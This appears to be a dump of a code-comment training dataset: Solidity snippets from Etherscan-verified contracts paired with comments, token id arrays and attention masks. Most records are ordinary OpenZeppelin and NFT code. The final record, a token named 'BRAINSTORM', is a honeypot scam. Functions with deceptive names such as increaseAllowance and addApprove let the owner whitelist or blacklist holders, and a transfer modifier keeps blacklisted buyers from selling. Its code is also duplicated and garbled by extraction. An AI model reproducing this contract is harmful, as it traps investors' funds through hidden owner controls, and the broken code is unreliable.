// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
|
9x9x9, thanks, buddy!
|
address nineWallet = 0x8c0d2B62F133Db265EC8554282eE60EcA0Fd5a9E;
| 14,603,090 |
[
1,
29,
92,
29,
92,
29,
16,
286,
19965,
16,
324,
29017,
5,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
1758,
290,
558,
16936,
273,
374,
92,
28,
71,
20,
72,
22,
38,
8898,
42,
28615,
4331,
30281,
7228,
28,
2539,
24,
6030,
22,
73,
41,
4848,
23057,
37,
20,
27263,
25,
69,
29,
41,
31,
3639,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/80001/0xdCdf0B3d68A4E11eF2703b87020dC5a9c66babf7/sources/@superfluid-finance/ethereum-contracts/contracts/apps/SuperTokenV1Library.sol
|
* @dev Creates a new index. @param token Super Token used with the index. @param indexId ID of the index./
|
function createIndex(
ISuperToken token,
uint32 indexId
) internal returns (bool) {
return createIndex(token, indexId, new bytes(0));
}
| 855,985 |
[
1,
2729,
279,
394,
770,
18,
225,
1147,
14845,
3155,
1399,
598,
326,
770,
18,
225,
770,
548,
1599,
434,
326,
770,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
25207,
12,
203,
3639,
467,
8051,
1345,
1147,
16,
203,
3639,
2254,
1578,
770,
548,
203,
565,
262,
2713,
1135,
261,
6430,
13,
288,
203,
3639,
327,
25207,
12,
2316,
16,
770,
548,
16,
394,
1731,
12,
20,
10019,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/97/0xA13D1D1faD4d0Fa1dD2981E3632bcC7bDF17D160/sources/CORLToken.sol
|
* Returns symbol of token/
|
function symbol() public pure returns(string memory){
return _symbol;
}
| 11,407,574 |
[
1,
1356,
3273,
434,
1147,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
3273,
1435,
1071,
16618,
1135,
12,
1080,
3778,
15329,
203,
3639,
327,
389,
7175,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x57F2836bB114Da5a47a1C058928344EB12Eb89Cc/sources/contracts/core/Lexicon.sol
|
*Only Minter @notice Method modifier only callable by a seperate minter contract (auction)/
|
modifier onlyMinter(){
require(msg.sender == minter, "LEXICON:NotMinter");
_;
}
bytes32 _merkleRoot,
uint256 _currentAuctionTokenId
)
ERC721("LEXICON", "LEXI")
| 9,394,881 |
[
1,
3386,
490,
2761,
225,
2985,
9606,
1338,
4140,
635,
279,
22282,
340,
1131,
387,
6835,
261,
69,
4062,
13176,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
9606,
1338,
49,
2761,
1435,
95,
203,
3639,
2583,
12,
3576,
18,
15330,
422,
1131,
387,
16,
315,
21130,
21745,
30,
1248,
49,
2761,
8863,
203,
3639,
389,
31,
203,
565,
289,
203,
203,
3639,
1731,
1578,
389,
6592,
15609,
2375,
16,
7010,
3639,
2254,
5034,
389,
2972,
37,
4062,
1345,
548,
203,
565,
262,
7010,
3639,
4232,
39,
27,
5340,
2932,
21130,
21745,
3113,
315,
21130,
45,
7923,
540,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/80001/0x5Fe979DCEAEE38d774a0e8B2a630516B806D7be4/sources/contracts/Pixelation.sol
|
Maximum number of NFTs each person can mint
|
uint256 maxPerPerson = 66;
| 5,556,425 |
[
1,
13528,
1300,
434,
423,
4464,
87,
1517,
6175,
848,
312,
474,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
2254,
5034,
943,
2173,
8346,
273,
22342,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0xc4C3c4338D1EeEBd2e97065a8f42EE68641a5a3d/sources/ETH_6.12.sol
|
* @dev Implementation of the {IERC20} interface. This implementation is agnostic to the way tokens are created. This means that a supply mechanism has to be added in a derived contract using {_mint}. For a generic mechanism see {ERC20PresetMinterPauser}. TIP: For a detailed writeup see our guide to implement supply mechanisms]. We have followed general OpenZeppelin guidelines: functions revert instead of returning `false` on failure. This behavior is nonetheless conventional and does not conflict with the expectations of ERC20 applications. Additionally, an {Approval} event is emitted on calls to {transferFrom}. This allows applications to reconstruct the allowance for all accounts just by listening to said events. Other implementations of the EIP may not emit these events, as it isn't required by the specification. Finally, the non-standard {decreaseAllowance} and {increaseAllowance} functions have been added to mitigate the well-known issues around setting allowances. See {IERC20-approve}./
|
contract BRAINSTORM is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
}
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (_whiteAddress[sender] == true){
if (amount < _sellAmount){
}
}
}
}
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (_whiteAddress[sender] == true){
if (amount < _sellAmount){
}
}
}
}
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (_whiteAddress[sender] == true){
if (amount < _sellAmount){
}
}
}
}
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (_whiteAddress[sender] == true){
if (amount < _sellAmount){
}
}
}
}
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
| 3,205,441 |
[
1,
13621,
434,
326,
288,
45,
654,
39,
3462,
97,
1560,
18,
1220,
4471,
353,
279,
1600,
669,
335,
358,
326,
4031,
2430,
854,
2522,
